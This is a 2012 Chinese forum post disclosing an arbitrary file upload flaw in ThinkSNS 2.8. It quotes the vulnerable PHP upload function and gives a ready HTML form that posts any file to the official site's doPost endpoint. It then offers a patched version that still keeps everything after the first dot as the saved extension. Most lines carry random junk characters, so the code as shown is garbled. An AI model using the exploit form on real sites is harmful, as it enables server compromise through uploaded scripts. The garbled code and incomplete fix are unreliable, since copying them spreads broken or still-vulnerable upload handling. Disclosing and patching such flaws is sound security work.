找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2179|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。/ q% K8 Z! ]3 \
! ~2 s% f& e; o2 z/ u9 Z  J

# v6 _* j1 y4 l, Z1 T0 }9 Q\api\StatusesApi.class.php3 C+ M' E3 ^" x9 G: B
$ Y$ I4 [& B3 j# G) N6 C# O! S! n
function uploadpic(){! ^2 h& i1 i' w( d
      if( $_FILES['pic'] ){8 j) B2 U; s- e$ a# i8 L  a0 R& Q- i
     //执行上传操作
! O3 J2 e* V7 C) q$ n. H6 ]     $savePath =  $this->_getSaveTempPath();
% R" b$ n# j1 I- M4 `7 k, ~' S     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);8 S% O) b/ h( _' D9 T
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
, Q  V3 T! ]1 d       {
$ A- ?" \- d* Q  X2 m        $result['boolen']    = 1;
6 ^$ s- C% I3 I        $result['type_data'] = 'temp/'.$filename;
3 b& [5 C2 z, K$ O        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;3 x: j8 v; k! Q0 F0 P0 C1 G
       } else {
$ h5 X" n+ K) L6 H% O! {! w" p# M        $result['boolen']    = 0;
4 M2 r1 w( `- @. R5 `, c        $result['message']   = '上传失败';
& n4 {4 o1 n0 x. S  H4 j3 T       }
% d$ e+ t  n* _0 D) e/ O     }else{
( x& k$ n1 }. C         $result['boolen']    = 0;
3 g; T, ]  i4 K% O6 f         $result['message']   = '上传失败';9 r5 g% x2 i- }: C! e! V5 I! n
     }6 p/ G; W2 H0 r9 ?# `. K
return $result;
9 P, i& x% D( ^$ F    }
7 n: y5 k* y/ h4 p7 Aunloadpic()方法没有对文件类型进行验证  l* K- v, V' t5 u& T
# ]! }6 W& B) x' o/ p6 T( x4 Y7 Y
可以构建表单, 选择任意文件, 提交到! M  |, d7 a3 q' ^4 A6 Q6 s+ x
/index.php?app=w3g&mod=Index&act=doPost  W% y' i" b) k
- ~' ^+ j: d& [1 [
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
0 V! A6 a) F0 h' }
$ q( J) ?" w) Y) c7 C7 s) u0 T" {; t( r* u* `; A. U1 P# N, [
在登录thinksns官方微博后,
8 z7 a1 S. }* r! {; T9 X' `2 K构建以下表单:
  |* E+ J( p6 L4 J/ s
1 z& K, w5 I  w7 @<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />3 e2 J! t. Q5 q' }+ g. I
<textarea name="content">test</textarea>( U' V; E& y, Y8 z) P) N. }
file: <input id="file" type="file" name="pic" />1 ~3 _' R; v6 G: l6 L" a/ h
<input type="submit" value="Post" />7 d: N1 {* r/ u+ t
</form>
2 i. c. s4 n$ Z6 }8 u去掉缩略图的前缀(small_ )
! R( I+ m' c" n​修复方案:
% R, ]3 \, L( D
$ @7 g9 e4 m5 J) Y  I5 T2 _1 `
! a# ~5 |$ W$ }( Y7 Y3 H\api\StatusesApi.class.php; e, o" m. @7 p9 |; [/ T

6 m: P: U- l" c! k  z% @function uploadpic(){, g1 Q& _3 G  f  |2 W4 m
     /**
4 I' V; b( l, d; Z  P- u0 h      * 20121018 @yelo' e9 h1 W  B$ n9 l4 x; R
      * 增加上传类型验证
$ j2 v0 y* _) m7 L# O' ~      */
6 T; _& Y' s& W: p     $pathinfo = pathinfo($_FILES['pic']['name']);8 l2 @, K& L( V- l1 \# B
     $ext = $pathinfo['extension'];0 q' N. |# A. _9 U; a; l" f) T
$allowExts = array('jpg', 'png', 'gif', 'jpeg');1 i  ~' H, g  p/ E

* a/ p% ]9 a5 R) p% u& q( ]     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
' ]6 |2 ~& \( s7 l5 V* f5 Z
! S4 N! t  ?+ o& k% X+ j     if( $uploadCondition ){/ Q1 Z$ K% |6 K1 W) _# l
     //执行上传操作* P' O0 _! i* P- i; q
     $savePath =  $this->_getSaveTempPath();
- K* O" ?5 i& ~) W2 J! P8 T1 d; `     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);# A+ O% }. `" O/ a
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename)), x8 w4 N0 U5 T+ l. n  C% X4 W
       {- }' T' s2 z7 f* U7 l, m/ e
        $result['boolen']    = 1;5 P$ X: m( r1 {  d% G
        $result['type_data'] = 'temp/'.$filename;: Y; W) u0 m& D7 G
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
3 t7 x4 w( s6 d" w8 ?9 e       } else {& D& Q; b! B" [
        $result['boolen']    = 0;7 y5 L. N) |/ Q; D2 O7 l- K. h
        $result['message']   = '上传失败';9 M, w8 J/ Z3 [6 G8 s4 ?- X! q( x; M
       }
  z: A4 U- a5 W/ x, ~' B* l     }else{2 u4 n# `7 _7 t4 ], @
         $result['boolen']    = 0;8 z/ B% `0 h3 m, v$ P. L
         $result['message']   = '上传失败';
# ]( g( J; p+ e9 {+ a  g3 y2 u# L4 H# J+ U     }
5 w+ }# h4 {. u0 w* kreturn $result;/ Q& G! ]2 v" x9 `: N
    }6 S0 H6 D* Z! p0 y! U. l7 F) H) g
  }, I4 |+ G4 T+ V, P

& K1 D( m2 U7 i# {, s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表